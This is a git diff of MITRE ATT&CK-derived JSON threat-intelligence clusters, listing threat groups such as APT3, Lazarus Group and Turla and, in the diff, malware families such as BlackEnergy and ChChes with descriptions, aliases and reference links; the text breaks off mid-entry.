"G0046" + }, + "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc" + }, + { + "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)", + "value": "APT3 - G0022", + "meta": { + "synonyms": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0022", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", + "https://www.recordedfuture.com/chinese-mss-behind-apt3/", + "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf" + ], + "external_id": "G0022" + }, + "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9" + }, + { + "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", + "value": "GCMAN - G0036", + "meta": { + "synonyms": [ + "GCMAN" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0036", + "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + ], + "external_id": "G0036" + }, + "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f" + }, + { + "description": "Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)", + "value": "Lazarus Group - G0032", + "meta": { + "synonyms": [ + "Lazarus Group", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0032", + "https://www.us-cert.gov/ncas/alerts/TA17-164A", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + ], + "external_id": "G0032" + }, + "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a" + }, + { + "description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)", + "value": "Lotus Blossom - G0030", + "meta": { + "synonyms": [ + "Lotus Blossom", + "Spring Dragon" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0030", + "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + ], + "external_id": "G0030" + }, + "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7" + }, + { + "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", + "value": "Equation - G0020", + "meta": { + "synonyms": [ + "Equation" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0020", + "https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf" + ], + "external_id": "G0020" + }, + "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9" + }, + { + "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", + "value": "Darkhotel - G0012", + "meta": { + "synonyms": [ + "Darkhotel" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0012", + "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf" + ], + "external_id": "G0012" + }, + "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383" + }, + { + "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017", + "value": "Dragonfly - G0035", + "meta": { + "synonyms": [ + "Dragonfly", + "Energetic Bear" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0035", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + ], + "external_id": "G0035" + }, + "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1" + }, + { + "description": "Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", + "value": "Suckfly - G0039", + "meta": { + "synonyms": [ + "Suckfly" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0039", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + ], + "external_id": "G0039" + }, + "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d" + }, + { + "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", + "value": "Stealth Falcon - G0038", + "meta": { + "synonyms": [ + "Stealth Falcon" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0038", + "https://citizenlab.org/2016/05/stealth-falcon/" + ], + "external_id": "G0038" + }, + "uuid": "894aab42-3371-47b1-8859-a4a074c804c8" + }, + { + "description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "value": "BRONZE BUTLER - G0060", + "meta": { + "synonyms": [ + "BRONZE BUTLER", + "REDBALDKNIGHT", + "Tick" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0060", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + ], + "external_id": "G0060" + }, + "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90" + }, + { + "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", + "value": "Scarlet Mimic - G0029", + "meta": { + "synonyms": [ + "Scarlet Mimic" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0029", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "external_id": "G0029" + }, + "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7" + }, + { + "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", + "value": "Threat Group-1314 - G0028", + "meta": { + "synonyms": [ + "Threat Group-1314", + "TG-1314" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0028", + "http://www.secureworks.com/resources/blog/living-off-the-land/" + ], + "external_id": "G0028" + }, + "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983" + }, + { + "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)", + "value": "Turla - G0010", + "meta": { + "synonyms": [ + "Turla", + "Waterbug", + "WhiteBear" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0010", + "https://securelist.com/the-epic-turla-operation/65545/", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + ], + "external_id": "G0010" + }, + "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6" + }, + { + "description": "Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.", + "value": "Elderwood - G0066", + "meta": { + "synonyms": [ + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0066", + "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + ], + "external_id": "G0066" + }, + "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484" + }, + { + "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", + "value": "APT29 - G0016", + "meta": { + "synonyms": [ + "APT29", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0016", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + ], + "external_id": "G0016" + }, + "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542" + }, + { + "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)", + "value": "menuPass - G0045", + "meta": { + "synonyms": [ + "menuPass", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0045", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" + ], + "external_id": "G0045" + }, + "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f" + }, + { + "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", + "value": "Putter Panda - G0024", + "meta": { + "synonyms": [ + "Putter Panda", + "APT2", + "MSUpdater" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0024", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "external_id": "G0024" + }, + "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45" + }, + { + "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "value": "Axiom - G0001", + "meta": { + "synonyms": [ + "Axiom", + "Group 72" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0001", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", + "https://securelist.com/games-are-over/70991/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + ], + "external_id": "G0001" + }, + "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973" + }, + { + "description": "Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)\n\nContributors: Bryan Lee", + "value": "Magic Hound - G0059", + "meta": { + "synonyms": [ + "Magic Hound", + "Rocket Kitten", + "Operation Saffron Rose", + "Ajax Security Team", + "Operation Woolen-Goldfish", + "Newscaster", + "Cobalt Gypsy" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0059", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + ], + "external_id": "G0059" + }, + "uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13" + }, + { + "description": "FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)", + "value": "FIN8 - G0061", + "meta": { + "synonyms": [ + "FIN8" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0061", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + ], + "external_id": "G0061" + }, + "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826" + }, + { + "description": "PROMETHIUM is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "value": "PROMETHIUM - G0056", + "meta": { + "synonyms": [ + "PROMETHIUM" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0056", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" + ], + "external_id": "G0056" + }, + "uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c" + }, + { + "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios", + "value": "Carbanak - G0008", + "meta": { + "synonyms": [ + "Carbanak", + "Anunak", + "Carbon Spider" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0008", + "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "external_id": "G0008" + }, + "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c" + }, + { + "description": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "value": "APT33 - G0064", + "meta": { + "synonyms": [ + "APT33" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0064", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "external_id": "G0064" + }, + "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f" + }, + { + "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", + "value": "APT18 - G0026", + "meta": { + "synonyms": [ + "APT18", + "Threat Group-0416", + "TG-0416", + "Dynamite Panda" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0026", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + ], + "external_id": "G0026" + }, + "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648" + }, + { + "description": "Leviathan is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.", + "value": "Leviathan - G0065", + "meta": { + "synonyms": [ + "Leviathan", + "TEMP.Periscope" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0065", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "G0065" + }, + "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e" + }, + { + "description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "value": "CopyKittens - G0052", + "meta": { + "synonyms": [ + "CopyKittens" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0052", + "http://www.clearskysec.com/copykitten-jpost/", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf", + "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + ], + "external_id": "G0052" + }, + "uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a" + }, + { + "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", + "value": "Gamaredon Group - G0047", + "meta": { + "synonyms": [ + "Gamaredon Group" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0047", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + ], + "external_id": "G0047" + }, + "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-enterprise-attack-malware.json b/clusters/mitre-enterprise-attack-malware.json index 8a6c6d9..9d72529 100644 --- a/clusters/mitre-enterprise-attack-malware.json +++ b/clusters/mitre-enterprise-attack-malware.json @@ -1,2291 +1,2986 @@ { - "name": "Enterprise Attack - Malware", - "type": "mitre-enterprise-attack-malware", - "description": "Name of ATT&CK software", - "version": 3, - "source": "https://github.com/mitre/cti", - "uuid": "fbd79f02-1707-11e8-b1c7-87406102276a", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: OLDBAIT, Sasfis", - "value": "OLDBAIT - S0138", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0138", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" - ], - "synonyms": [ - "OLDBAIT", - "Sasfis" - ] - }, - "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be" - }, - { - "description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL", - "value": "PHOREAL - S0158", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0158", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "synonyms": [ - "PHOREAL" - ] - }, - "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e" - }, - { - "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina", - "value": "CosmicDuke - S0050", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0050", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CosmicDuke", - "TinyBaron", - "BotgenStudios", - "NemesisGemina" - ] - }, - "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee" - }, - { - "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)\n\nAliases: H1N1", - "value": "H1N1 - S0132", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0132", - "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" - ], - "synonyms": [ - "H1N1" - ] - }, - "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd" - }, - { - "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SPACESHIP", - "value": "SPACESHIP - S0035", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0035", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "SPACESHIP" - ] - }, - "uuid": "8b880b41-5139-4807-baa9-309690218719" - }, - { - "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)\n\nAliases: Hi-Zor", - "value": "Hi-Zor - S0087", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0087", - "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" - ], - "synonyms": [ - "Hi-Zor" - ] - }, - "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc" - }, - { - "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE", - "value": "TEXTMATE - S0146", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0146", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" - ], - "synonyms": [ - "DNSMessenger", - "TEXTMATE" - ] - }, - "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" - }, - { - "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)\n\nAliases: Net Crawler, NetC", - "value": "Net Crawler - S0056", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0056", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" - ], - "synonyms": [ - "Net Crawler", - "NetC" - ] - }, - "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704" - }, - { - "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)\n\nAliases: BlackEnergy, Black Energy", - "value": "BlackEnergy - S0089", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0089", - "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" - ], - "synonyms": [ - "BlackEnergy", - "Black Energy" - ] - }, - "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" - }, - { - "description": " (Citation: XAgentOSX) is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)\n\nAliases: (Citation: XAgentOSX)", - "value": "XAgentOSX - S0161", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0161", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" - ], - "synonyms": [ - "XAgentOSX" - ] - }, - "uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069" - }, - { - "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader", - "value": "Pisloader - S0124", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0124", - "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" - ], - "synonyms": [ - "Pisloader" - ] - }, - "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236" - }, - { - "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)\n\nAliases: Backdoor.Oldrea, Havex", - "value": "Backdoor.Oldrea - S0093", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0093", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" - ], - "synonyms": [ - "Backdoor.Oldrea", - "Havex" - ] - }, - "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974" - }, - { - "description": "is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev", - "value": "Starloader - S0188", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0188", - "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" - ], - "synonyms": [ - "Starloader" - ] - }, - "uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4" - }, - { - "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: ChChes, Scorpion, HAYMAKER", - "value": "ChChes - S0144", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0144", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" - ], - "synonyms": [ - "ChChes", - "Scorpion", - "HAYMAKER" - ] - }, - "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" - }, - { - "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)\n\nAliases: Hacking Team UEFI Rootkit", - "value": "Hacking Team UEFI Rootkit - S0047", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0047", - "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" - ], - "synonyms": [ - "Hacking Team UEFI Rootkit" - ] - }, - "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8" - }, - { - "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient", - "value": "httpclient - S0068", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0068", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "synonyms": [ - "httpclient" - ] - }, - "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0" - }, - { - "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)\n\nAliases: Downdelph, Delphacy", - "value": "Downdelph - S0134", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0134", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" - ], - "synonyms": [ - "Downdelph", - "Delphacy" - ] - }, - "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519" - }, - { - "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised 